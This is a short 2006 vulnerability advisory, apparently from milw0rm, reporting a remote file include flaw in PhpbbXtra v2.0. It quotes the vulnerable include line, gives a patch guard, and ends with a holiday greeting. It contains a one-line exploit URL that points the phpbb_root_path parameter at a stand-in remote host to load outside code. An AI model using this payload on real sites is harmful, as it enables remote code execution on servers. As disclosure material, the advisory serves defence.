50 lines
No EOL
1.3 KiB
Text
50 lines
No EOL
1.3 KiB
Text
-----------------------------------------------
|
|
|
|
PhpbbXtra v2.0 (phpbb_root_path) Remote File Include Vulnerability
|
|
|
|
-----------------------------------------------
|
|
|
|
Author: xoron
|
|
|
|
-----------------------------------------------
|
|
|
|
Vuln Code: include($phpbb_root_path . 'includes/bbcode.'.$phpEx);
|
|
|
|
-----------------------------------------------
|
|
|
|
F!X:
|
|
|
|
-open /includes/archive/archive_topic.php this file
|
|
|
|
-write this code before vuln. code
|
|
|
|
|
|
if ( !defined('IN_PHPBB') )
|
|
{
|
|
die('Hacking attempt');
|
|
}
|
|
|
|
|
|
- save and exit
|
|
|
|
-----------------------------------------------
|
|
|
|
exploit:
|
|
|
|
http://www.[target].com/[script_path]/includes/archive/archive_topic.php?phpbb_root_path=http://evil_scripts ?
|
|
|
|
-----------------------------------------------
|
|
|
|
download:http://sourceforge.net/project/showfiles.php?group_id=152219
|
|
|
|
-----------------------------------------------
|
|
XORON - XORON - XORON - XORON - XORON
|
|
-----------------------------------------------------------
|
|
- -
|
|
- -
|
|
- Tum muslumanlar.n kurban bayram. simdiden mubarek olsun -
|
|
- -
|
|
- -
|
|
-----------------------------------------------------------
|
|
|
|
# milw0rm.com [2006-12-25] |